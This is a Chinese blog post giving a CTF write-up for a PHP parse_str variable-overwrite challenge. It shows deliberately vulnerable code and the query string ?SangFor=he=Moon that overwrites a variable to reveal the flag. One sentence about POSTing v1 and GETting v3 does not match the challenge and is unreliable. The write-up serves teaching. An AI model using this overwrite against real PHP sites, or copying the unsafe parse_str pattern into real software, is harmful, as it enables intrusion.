【无标题】PHP-parse_str变量覆盖

[题目信息]:

题目名称题目难度
PHP-parse_str变量覆盖1

[题目考点]:

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.

[Flag格式]:

SangFor{M2WVKvkITidpS6dr}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2010

[题目writeup]:

1、实验主页

2、源码分析

访问题目,右键查看源代码,得到提示信息

<!--
$he ='Spring';
$flag = "**********";
parse_str($_GET['SangFor']);
if ($he =="Moon"){
      echo $flag;
       }
-->

前置知识

parse_str(string,array)
把查询字符串解析到变量中
参数描述
string必需。规定要解析的字符串。
array可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

例如:

$a = "name=SangFor&age=666";
parse_str($a,$b);
echo $b['name']."\n";
echo $b['age'];

#输出结果
//SangFor
//666

分析代码可知,需要以POST方法传入v1,以GET方法传入v3

变量he值为字符串“Spring”,然后通过parse_str将通过GET方式传递的Moon参数的字符串解析到变量中。

由于parse_str存在变量覆盖漏洞,尝试输入?SangFor=he=Moon获得flag。

http://localhost/?SangFor=he=Moon

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值